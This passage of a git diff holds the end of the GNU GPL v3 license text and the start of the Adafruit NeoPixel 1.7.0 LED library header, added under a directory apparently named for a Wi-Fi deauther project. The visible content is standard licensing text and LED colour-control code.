covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<https://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||
2601
DeautherX/src/Adafruit_NeoPixel-1.7.0/Adafruit_NeoPixel.cpp
Normal file
2601
DeautherX/src/Adafruit_NeoPixel-1.7.0/Adafruit_NeoPixel.cpp
Normal file
File diff suppressed because it is too large
Load Diff
366
DeautherX/src/Adafruit_NeoPixel-1.7.0/Adafruit_NeoPixel.h
Normal file
366
DeautherX/src/Adafruit_NeoPixel-1.7.0/Adafruit_NeoPixel.h
Normal file
@@ -0,0 +1,366 @@
|
||||
/*!
|
||||
* @file Adafruit_NeoPixel.h
|
||||
*
|
||||
* This is part of Adafruit's NeoPixel library for the Arduino platform,
|
||||
* allowing a broad range of microcontroller boards (most AVR boards,
|
||||
* many ARM devices, ESP8266 and ESP32, among others) to control Adafruit
|
||||
* NeoPixels, FLORA RGB Smart Pixels and compatible devices -- WS2811,
|
||||
* WS2812, WS2812B, SK6812, etc.
|
||||
*
|
||||
* Adafruit invests time and resources providing this open source code,
|
||||
* please support Adafruit and open-source hardware by purchasing products
|
||||
* from Adafruit!
|
||||
*
|
||||
* Written by Phil "Paint Your Dragon" Burgess for Adafruit Industries,
|
||||
* with contributions by PJRC, Michael Miller and other members of the
|
||||
* open source community.
|
||||
*
|
||||
* This file is part of the Adafruit_NeoPixel library.
|
||||
*
|
||||
* Adafruit_NeoPixel is free software: you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public License as
|
||||
* published by the Free Software Foundation, either version 3 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* Adafruit_NeoPixel is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public
|
||||
* License along with NeoPixel. If not, see
|
||||
* <http://www.gnu.org/licenses/>.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef ADAFRUIT_NEOPIXEL_H
|
||||
#define ADAFRUIT_NEOPIXEL_H
|
||||
|
||||
#ifdef ARDUINO
|
||||
#if (ARDUINO >= 100)
|
||||
#include <Arduino.h>
|
||||
#else
|
||||
#include <WProgram.h>
|
||||
#include <pins_arduino.h>
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#ifdef TARGET_LPC1768
|
||||
#include <Arduino.h>
|
||||
#endif
|
||||
|
||||
// The order of primary colors in the NeoPixel data stream can vary among
|
||||
// device types, manufacturers and even different revisions of the same
|
||||
// item. The third parameter to the Adafruit_NeoPixel constructor encodes
|
||||
// the per-pixel byte offsets of the red, green and blue primaries (plus
|
||||
// white, if present) in the data stream -- the following #defines provide
|
||||
// an easier-to-use named version for each permutation. e.g. NEO_GRB
|
||||
// indicates a NeoPixel-compatible device expecting three bytes per pixel,
|
||||
// with the first byte transmitted containing the green value, second
|
||||
// containing red and third containing blue. The in-memory representation
|
||||
// of a chain of NeoPixels is the same as the data-stream order; no
|
||||
// re-ordering of bytes is required when issuing data to the chain.
|
||||
// Most of these values won't exist in real-world devices, but it's done
|
||||
// this way so we're ready for it (also, if using the WS2811 driver IC,
|
||||
// one might have their pixels set up in any weird permutation).
|
||||
|
||||
// Bits 5,4 of this value are the offset (0-3) from the first byte of a
|
||||
// pixel to the location of the red color byte. Bits 3,2 are the green
|
||||
// offset and 1,0 are the blue offset. If it is an RGBW-type device
|
||||
// (supporting a white primary in addition to R,G,B), bits 7,6 are the
|
||||
// offset to the white byte...otherwise, bits 7,6 are set to the same value
|
||||
// as 5,4 (red) to indicate an RGB (not RGBW) device.
|
||||
// i.e. binary representation:
|
||||
// 0bWWRRGGBB for RGBW devices
|
||||
// 0bRRRRGGBB for RGB
|
||||
|
||||
// RGB NeoPixel permutations; white and red offsets are always same
|
||||
// Offset: W R G B
|
||||
#define NEO_RGB ((0<<6) | (0<<4) | (1<<2) | (2)) ///< Transmit as R,G,B
|
||||
#define NEO_RBG ((0<<6) | (0<<4) | (2<<2) | (1)) ///< Transmit as R,B,G
|
||||
#define NEO_GRB ((1<<6) | (1<<4) | (0<<2) | (2)) ///< Transmit as G,R,B
|
||||
#define NEO_GBR ((2<<6) | (2<<4) | (0<<2) | (1)) ///< Transmit as G,B,R
|
||||
#define NEO_BRG ((1<<6) | (1<<4) | (2<<2) | (0)) ///< Transmit as B,R,G
|
||||
#define NEO_BGR ((2<<6) | (2<<4) | (1<<2) | (0)) ///< Transmit as B,G,R
|
||||
|
||||
// RGBW NeoPixel permutations; all 4 offsets are distinct
|
||||
// Offset: W R G B
|
||||
#define NEO_WRGB ((0<<6) | (1<<4) | (2<<2) | (3)) ///< Transmit as W,R,G,B
|
||||
#define NEO_WRBG ((0<<6) | (1<<4) | (3<<2) | (2)) ///< Transmit as W,R,B,G
|
||||
#define NEO_WGRB ((0<<6) | (2<<4) | (1<<2) | (3)) ///< Transmit as W,G,R,B
|
||||
#define NEO_WGBR ((0<<6) | (3<<4) | (1<<2) | (2)) ///< Transmit as W,G,B,R
|
||||
#define NEO_WBRG ((0<<6) | (2<<4) | (3<<2) | (1)) ///< Transmit as W,B,R,G
|
||||
#define NEO_WBGR ((0<<6) | (3<<4) | (2<<2) | (1)) ///< Transmit as W,B,G,R
|
||||
|
||||
#define NEO_RWGB ((1<<6) | (0<<4) | (2<<2) | (3)) ///< Transmit as R,W,G,B
|
||||
#define NEO_RWBG ((1<<6) | (0<<4) | (3<<2) | (2)) ///< Transmit as R,W,B,G
|
||||
#define NEO_RGWB ((2<<6) | (0<<4) | (1<<2) | (3)) ///< Transmit as R,G,W,B
|
||||
#define NEO_RGBW ((3<<6) | (0<<4) | (1<<2) | (2)) ///< Transmit as R,G,B,W
|
||||
#define NEO_RBWG ((2<<6) | (0<<4) | (3<<2) | (1)) ///< Transmit as R,B,W,G
|
||||
#define NEO_RBGW ((3<<6) | (0<<4) | (2<<2) | (1)) ///< Transmit as R,B,G,W
|
||||
|
||||
#define NEO_GWRB ((1<<6) | (2<<4) | (0<<2) | (3)) ///< Transmit as G,W,R,B
|
||||
#define NEO_GWBR ((1<<6) | (3<<4) | (0<<2) | (2)) ///< Transmit as G,W,B,R
|
||||
#define NEO_GRWB ((2<<6) | (1<<4) | (0<<2) | (3)) ///< Transmit as G,R,W,B
|
||||
#define NEO_GRBW ((3<<6) | (1<<4) | (0<<2) | (2)) ///< Transmit as G,R,B,W
|
||||
#define NEO_GBWR ((2<<6) | (3<<4) | (0<<2) | (1)) ///< Transmit as G,B,W,R
|
||||
#define NEO_GBRW ((3<<6) | (2<<4) | (0<<2) | (1)) ///< Transmit as G,B,R,W
|
||||
|
||||
#define NEO_BWRG ((1<<6) | (2<<4) | (3<<2) | (0)) ///< Transmit as B,W,R,G
|
||||
#define NEO_BWGR ((1<<6) | (3<<4) | (2<<2) | (0)) ///< Transmit as B,W,G,R
|
||||
#define NEO_BRWG ((2<<6) | (1<<4) | (3<<2) | (0)) ///< Transmit as B,R,W,G
|
||||
#define NEO_BRGW ((3<<6) | (1<<4) | (2<<2) | (0)) ///< Transmit as B,R,G,W
|
||||
#define NEO_BGWR ((2<<6) | (3<<4) | (1<<2) | (0)) ///< Transmit as B,G,W,R
|
||||
#define NEO_BGRW ((3<<6) | (2<<4) | (1<<2) | (0)) ///< Transmit as B,G,R,W
|
||||
|
||||
// Add NEO_KHZ400 to the color order value to indicate a 400 KHz device.
|
||||
// All but the earliest v1 NeoPixels expect an 800 KHz data stream, this is
|
||||
// the default if unspecified. Because flash space is very limited on ATtiny
|
||||
// devices (e.g. Trinket, Gemma), v1 NeoPixels aren't handled by default on
|
||||
// those chips, though it can be enabled by removing the ifndef/endif below,
|
||||
// but code will be bigger. Conversely, can disable the NEO_KHZ400 line on
|
||||
// other MCUs to remove v1 support and save a little space.
|
||||
|
||||
#define NEO_KHZ800 0x0000 ///< 800 KHz data transmission
|
||||
#ifndef __AVR_ATtiny85__
|
||||
#define NEO_KHZ400 0x0100 ///< 400 KHz data transmission
|
||||
#endif
|
||||
|
||||
// If 400 KHz support is enabled, the third parameter to the constructor
|
||||
// requires a 16-bit value (in order to select 400 vs 800 KHz speed).
|
||||
// If only 800 KHz is enabled (as is default on ATtiny), an 8-bit value
|
||||
// is sufficient to encode pixel color order, saving some space.
|
||||
|
||||
#ifdef NEO_KHZ400
|
||||
typedef uint16_t neoPixelType; ///< 3rd arg to Adafruit_NeoPixel constructor
|
||||
#else
|
||||
typedef uint8_t neoPixelType; ///< 3rd arg to Adafruit_NeoPixel constructor
|
||||
#endif
|
||||
|
||||
// These two tables are declared outside the Adafruit_NeoPixel class
|
||||
// because some boards may require oldschool compilers that don't
|
||||
// handle the C++11 constexpr keyword.
|
||||
|
||||
/* A PROGMEM (flash mem) table containing 8-bit unsigned sine wave (0-255).
|
||||
Copy & paste this snippet into a Python REPL to regenerate:
|
||||
import math
|
||||
for x in range(256):
|
||||
print("{:3},".format(int((math.sin(x/128.0*math.pi)+1.0)*127.5+0.5))),
|
||||
if x&15 == 15: print
|
||||
*/
|
||||
static const uint8_t PROGMEM _NeoPixelSineTable[256] = {
|
||||
128,131,134,137,140,143,146,149,152,155,158,162,165,167,170,173,
|
||||
176,179,182,185,188,190,193,196,198,201,203,206,208,211,213,215,
|
||||
218,220,222,224,226,228,230,232,234,235,237,238,240,241,243,244,
|
||||
245,246,248,249,250,250,251,252,253,253,254,254,254,255,255,255,
|
||||
255,255,255,255,254,254,254,253,253,252,251,250,250,249,248,246,
|
||||
245,244,243,241,240,238,237,235,234,232,230,228,226,224,222,220,
|
||||
218,215,213,211,208,206,203,201,198,196,193,190,188,185,182,179,
|
||||
176,173,170,167,165,162,158,155,152,149,146,143,140,137,134,131,
|
||||
128,124,121,118,115,112,109,106,103,100, 97, 93, 90, 88, 85, 82,
|
||||
79, 76, 73, 70, 67, 65, 62, 59, 57, 54, 52, 49, 47, 44, 42, 40,
|
||||
37, 35, 33, 31, 29, 27, 25, 23, 21, 20, 18, 17, 15, 14, 12, 11,
|
||||
10, 9, 7, 6, 5, 5, 4, 3, 2, 2, 1, 1, 1, 0, 0, 0,
|
||||
0, 0, 0, 0, 1, 1, 1, 2, 2, 3, 4, 5, 5, 6, 7, 9,
|
||||
10, 11, 12, 14, 15, 17, 18, 20, 21, 23, 25, 27, 29, 31, 33, 35,
|
||||
37, 40, 42, 44, 47, 49, 52, 54, 57, 59, 62, 65, 67, 70, 73, 76,
|
||||
79, 82, 85, 88, 90, 93, 97,100,103,106,109,112,115,118,121,124};
|
||||
|
||||
/* Similar to above, but for an 8-bit gamma-correction table.
|
||||
Copy & paste this snippet into a Python REPL to regenerate:
|
||||
import math
|
||||
gamma=2.6
|
||||
for x in range(256):
|
||||
print("{:3},".format(int(math.pow((x)/255.0,gamma)*255.0+0.5))),
|
||||
if x&15 == 15: print
|
||||
*/
|
||||
static const uint8_t PROGMEM _NeoPixelGammaTable[256] = {
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1,
|
||||
1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3,
|
||||
3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 5, 6, 6, 6, 6, 7,
|
||||
7, 7, 8, 8, 8, 9, 9, 9, 10, 10, 10, 11, 11, 11, 12, 12,
|
||||
13, 13, 13, 14, 14, 15, 15, 16, 16, 17, 17, 18, 18, 19, 19, 20,
|
||||
20, 21, 21, 22, 22, 23, 24, 24, 25, 25, 26, 27, 27, 28, 29, 29,
|
||||
30, 31, 31, 32, 33, 34, 34, 35, 36, 37, 38, 38, 39, 40, 41, 42,
|
||||
42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57,
|
||||
58, 59, 60, 61, 62, 63, 64, 65, 66, 68, 69, 70, 71, 72, 73, 75,
|
||||
76, 77, 78, 80, 81, 82, 84, 85, 86, 88, 89, 90, 92, 93, 94, 96,
|
||||
97, 99,100,102,103,105,106,108,109,111,112,114,115,117,119,120,
|
||||
122,124,125,127,129,130,132,134,136,137,139,141,143,145,146,148,
|
||||
150,152,154,156,158,160,162,164,166,168,170,172,174,176,178,180,
|
||||
182,184,186,188,191,193,195,197,199,202,204,206,209,211,213,215,
|
||||
218,220,223,225,227,230,232,235,237,240,242,245,247,250,252,255};
|
||||
|
||||
/*!
|
||||
@brief Class that stores state and functions for interacting with
|
||||
Adafruit NeoPixels and compatible devices.
|
||||
*/
|
||||
class Adafruit_NeoPixel {
|
||||
|
||||
public:
|
||||
|
||||
// Constructor: number of LEDs, pin number, LED type
|
||||
Adafruit_NeoPixel(uint16_t n, uint16_t pin=6,
|
||||
neoPixelType type=NEO_GRB + NEO_KHZ800);
|
||||
Adafruit_NeoPixel(void);
|
||||
~Adafruit_NeoPixel();
|
||||
|
||||
void begin(void);
|
||||
void show(void);
|
||||
void setPin(uint16_t p);
|
||||
void setPixelColor(uint16_t n, uint8_t r, uint8_t g, uint8_t b);
|
||||
void setPixelColor(uint16_t n, uint8_t r, uint8_t g, uint8_t b,
|
||||
uint8_t w);
|
||||
void setPixelColor(uint16_t n, uint32_t c);
|
||||
void fill(uint32_t c=0, uint16_t first=0, uint16_t count=0);
|
||||
void setBrightness(uint8_t);
|
||||
void clear(void);
|
||||
void updateLength(uint16_t n);
|
||||
void updateType(neoPixelType t);
|
||||
/*!
|
||||
@brief Check whether a call to show() will start sending data
|
||||
immediately or will 'block' for a required interval. NeoPixels
|
||||
require a short quiet time (about 300 microseconds) after the
|
||||
last bit is received before the data 'latches' and new data can
|
||||
start being received. Usually one's sketch is implicitly using
|
||||
this time to generate a new frame of animation...but if it
|
||||
finishes very quickly, this function could be used to see if
|
||||
there's some idle time available for some low-priority
|
||||
concurrent task.
|
||||
@return 1 or true if show() will start sending immediately, 0 or false
|
||||
if show() would block (meaning some idle time is available).
|
||||
*/
|
||||
bool canShow(void) {
|
||||
if (endTime > micros()) {
|
||||
endTime = micros();
|
||||
}
|
||||
return (micros() - endTime) >= 300L;
|
||||
}
|
||||
/*!
|
||||
@brief Get a pointer directly to the NeoPixel data buffer in RAM.
|
||||
Pixel data is stored in a device-native format (a la the NEO_*
|
||||
constants) and is not translated here. Applications that access
|
||||
this buffer will need to be aware of the specific data format
|
||||
and handle colors appropriately.
|
||||
@return Pointer to NeoPixel buffer (uint8_t* array).
|
||||
@note This is for high-performance applications where calling
|
||||
setPixelColor() on every single pixel would be too slow (e.g.
|
||||
POV or light-painting projects). There is no bounds checking
|
||||
on the array, creating tremendous potential for mayhem if one
|
||||
writes past the ends of the buffer. Great power, great
|
||||
responsibility and all that.
|
||||
*/
|
||||
uint8_t *getPixels(void) const { return pixels; };
|
||||
uint8_t getBrightness(void) const;
|
||||
/*!
|
||||
@brief Retrieve the pin number used for NeoPixel data output.
|
||||
@return Arduino pin number (-1 if not set).
|
||||
*/
|
||||
int16_t getPin(void) const { return pin; };
|
||||
/*!
|
||||
@brief Return the number of pixels in an Adafruit_NeoPixel strip object.
|
||||
@return Pixel count (0 if not set).
|
||||
*/
|
||||
uint16_t numPixels(void) const { return numLEDs; }
|
||||
uint32_t getPixelColor(uint16_t n) const;
|
||||
/*!
|
||||
@brief An 8-bit integer sine wave function, not directly compatible
|
||||
with standard trigonometric units like radians or degrees.
|
||||
@param x Input angle, 0-255; 256 would loop back to zero, completing
|
||||
the circle (equivalent to 360 degrees or 2 pi radians).
|
||||
One can therefore use an unsigned 8-bit variable and simply
|
||||
add or subtract, allowing it to overflow/underflow and it
|
||||
still does the expected contiguous thing.
|
||||
@return Sine result, 0 to 255, or -128 to +127 if type-converted to
|
||||
a signed int8_t, but you'll most likely want unsigned as this
|
||||
output is often used for pixel brightness in animation effects.
|
||||
*/
|
||||
static uint8_t sine8(uint8_t x) {
|
||||
return pgm_read_byte(&_NeoPixelSineTable[x]); // 0-255 in, 0-255 out
|
||||
}
|
||||
/*!
|
||||
@brief An 8-bit gamma-correction function for basic pixel brightness
|
||||
adjustment. Makes color transitions appear more perceptially
|
||||
correct.
|
||||
@param x Input brightness, 0 (minimum or off/black) to 255 (maximum).
|
||||
@return Gamma-adjusted brightness, can then be passed to one of the
|
||||
setPixelColor() functions. This uses a fixed gamma correction
|
||||
exponent of 2.6, which seems reasonably okay for average
|
||||
NeoPixels in average tasks. If you need finer control you'll
|
||||
need to provide your own gamma-correction function instead.
|
||||
*/
|
||||
static uint8_t gamma8(uint8_t x) {
|
||||
return pgm_read_byte(&_NeoPixelGammaTable[x]); // 0-255 in, 0-255 out
|
||||
}
|
||||
/*!
|
||||
@brief Convert separate red, green and blue values into a single
|
||||
"packed" 32-bit RGB color.
|
||||
@param r Red brightness, 0 to 255.
|
||||
@param g Green brightness, 0 to 255.
|
||||
@param b Blue brightness, 0 to 255.
|
||||
@return 32-bit packed RGB value, which can then be assigned to a
|
||||
variable for later use or passed to the setPixelColor()
|
||||
function. Packed RGB format is predictable, regardless of
|
||||
LED strand color order.
|
||||
*/
|
||||
static uint32_t Color(uint8_t r, uint8_t g, uint8_t b) {
|
||||
return ((uint32_t)r << 16) | ((uint32_t)g << 8) | b;
|
||||
}
|
||||
/*!
|
||||
@brief Convert separate red, green, blue and white values into a
|
||||
single "packed" 32-bit WRGB color.
|
||||
@param r Red brightness, 0 to 255.
|
||||
@param g Green brightness, 0 to 255.
|
||||
@param b Blue brightness, 0 to 255.
|
||||
@param w White brightness, 0 to 255.
|
||||
@return 32-bit packed WRGB value, which can then be assigned to a
|
||||
variable for later use or passed to the setPixelColor()
|
||||
function. Packed WRGB format is predictable, regardless of
|
||||
LED strand color order.
|
||||
*/
|
||||
static uint32_t Color(uint8_t r, uint8_t g, uint8_t b, uint8_t w) {
|
||||
return ((uint32_t)w << 24) | ((uint32_t)r << 16) | ((uint32_t)g << 8) | b;
|
||||
}
|
||||
static uint32_t ColorHSV(uint16_t hue, uint8_t sat=255, uint8_t val=255);
|
||||
/*!
|
||||
@brief A gamma-correction function for 32-bit packed RGB or WRGB
|
||||
colors. Makes color transitions appear more perceptially
|
||||
correct.
|
||||
@param x 32-bit packed RGB or WRGB color.
|
||||
@return Gamma-adjusted packed color, can then be passed in one of the
|
||||
setPixelColor() functions. Like gamma8(), this uses a fixed
|
||||
gamma correction exponent of 2.6, which seems reasonably okay
|
||||
for average NeoPixels in average tasks. If you need finer
|
||||
control you'll need to provide your own gamma-correction
|
||||
function instead.
|
||||
*/
|
||||
static uint32_t gamma32(uint32_t x);
|
||||
|
||||
protected:
|
||||
|
||||
#ifdef NEO_KHZ400 // If 400 KHz NeoPixel support enabled...
|
||||
bool is800KHz; ///< true if 800 KHz pixels
|
||||
#endif
|
||||
bool begun; ///< true if begin() previously called
|
||||
uint16_t numLEDs; ///< Number of RGB LEDs in strip
|
||||
uint16_t numBytes; ///< Size of 'pixels' buffer below
|
||||
int16_t pin; ///< Output pin number (-1 if not yet set)
|
||||
uint8_t brightness; ///< Strip brightness 0-255 (stored as +1)
|
||||
uint8_t *pixels; ///< Holds LED color values (3 or 4 bytes each)
|
||||
uint8_t rOffset; ///< Red index within each 3- or 4-byte pixel
|
||||
uint8_t gOffset; ///< Index of green byte
|
||||
uint8_t bOffset; ///< Index of blue byte
|
||||
